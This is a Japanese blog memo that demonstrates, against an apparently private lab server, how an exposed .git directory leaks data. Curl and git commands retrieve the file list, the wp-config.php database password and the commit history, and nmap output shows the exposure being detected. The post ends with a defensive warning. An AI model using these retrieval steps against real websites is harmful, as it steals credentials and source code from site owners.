.gitディレクトリをwebサーバの公開ディレクトリに保存することについて

webサーバに.gitディレクトリが公開されている状態でどういったリスクがあるのかについてメモしておきます。

webサーバ

[root@localhost html]# cat /etc/redhat-release
CentOS release 6.7 (Final)

webサーバにアクセスしてみた結果

% curl http://target/.git/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /.git/
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at target Port 80</address>
</body></html>

403の応答が返ってきているのでディレクトリが存在することがわかります。*1

gitで管理されているファイルのリストが取得可能

以下、すべてリモートからの操作です。

% git init tmp
Initialized empty Git repository in /tmp/tmp/.git/
% cd tmp/
% curl -o .git/index http://target/.git/index
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  137k  100  137k    0     0  27.3M      0 --:--:-- --:--:-- --:--:-- 33.6M
% git ls-files | head
debug.php
wordpress/.htaccess
wordpress/index.php
wordpress/license.txt
wordpress/readme.html
wordpress/wp-activate.php
wordpress/wp-admin/about.php
wordpress/wp-admin/admin-ajax.php
wordpress/wp-admin/admin-footer.php
wordpress/wp-admin/admin-functions.php

phpの動作確認用に作成したdebug.phpのようなファイルがあった場合にそのようなファイルのパスが分かります。
(不要なファイルは消すべきだと思いますが)

ファイルの中身を見ることができる

見たいファイルのobjectファイル名を調べ、該当のobjectファイルを取得することで、そのファイルの中に書かれている機密情報を盗み見ることができる。

% git ls-files -s | grep wp-config.php
100644 8dc9da54a06d7c7fb27053b2e5bc69b9076bd990 0	wordpress/wp-config.php
% mkdir .git/objects/8d
% curl -o .git/objects/8d/c9da54a06d7c7fb27053b2e5bc69b9076bd990 http://target/.git/objects/8d/c9da54a06d7c7fb27053b2e5bc69b9076bd990
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1859  100  1859    0     0   526k      0 --:--:-- --:--:-- --:--:--  907k
% git cat-file -p 8dc9da54a06d7c7fb27053b2e5bc69b9076bd990 |grep DB_
define('DB_NAME', 'wordpress');
define('DB_USER', 'yasulib');
define('DB_PASSWORD', 'yasulib-secret');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

変更履歴を確認できる

% curl http://target/.git/logs/HEAD
0000000000000000000000000000000000000000 e1027542cb247b34913700a9b24a3bb5998ee696 root  1443439087 +0900	commit (initial): initial commit
e1027542cb247b34913700a9b24a3bb5998ee696 52e5a62d6cd40e0668af7f8fdbffe42f96a592cc root  1443441386 +0900	commit: comment add
% mkdir .git/objects/52
% curl -o .git/objects/52/e5a62d6cd40e0668af7f8fdbffe42f96a592cc http://target/.git/objects/52/e5a62d6cd40e0668af7f8fdbffe42f96a592cc
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   153  100   153    0     0  40497      0 --:--:-- --:--:-- --:--:-- 76500
% git log 52e5a62d6cd40e0668af7f8fdbffe42f96a592cc
commit 52e5a62d6cd40e0668af7f8fdbffe42f96a592cc
Author: root 
Date:   Mon Sep 28 20:56:26 2015 +0900

    comment add

commit e1027542cb247b34913700a9b24a3bb5998ee696
Author: root 
Date:   Mon Sep 28 20:18:07 2015 +0900

    initial commit

ログにはコミッタの名前、メールアドレスが含まれます。
commit objectを取得することによって、コミットごとのファイルの差分を確認することも可能です。

.gitディレクトリの検出

nmapでも.gitディレクトリがあることは検出されます。

% sudo nmap -sS -A -p 80 target
(略)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 *2
http-git:
192.168.11.103:80/.git/
Git repository found!
.git/COMMIT_EDITMSG matched patterns 'bug' 'key' 'passw' 'user'
Repository description: Unnamed repository; edit this file 'description' to name the...
_ Last commit message: initial commit # Please enter the commit message for your ch...
_http-title: Apache HTTP Server Test Page powered by CentOS
(略)

まとめ

OSSであれば、.gitディレクトリは公開されているものですが、クローズドな環境で開発しているものやウェブアプリケーションのデプロイ時に誤って.gitディレクトリを公開ディレクトリに置いてしまうと、色々と情報が見えてきますので、注意が必要かと思います。

*1:ディレクトリリスティングが有効な場合は200

*2:CentOS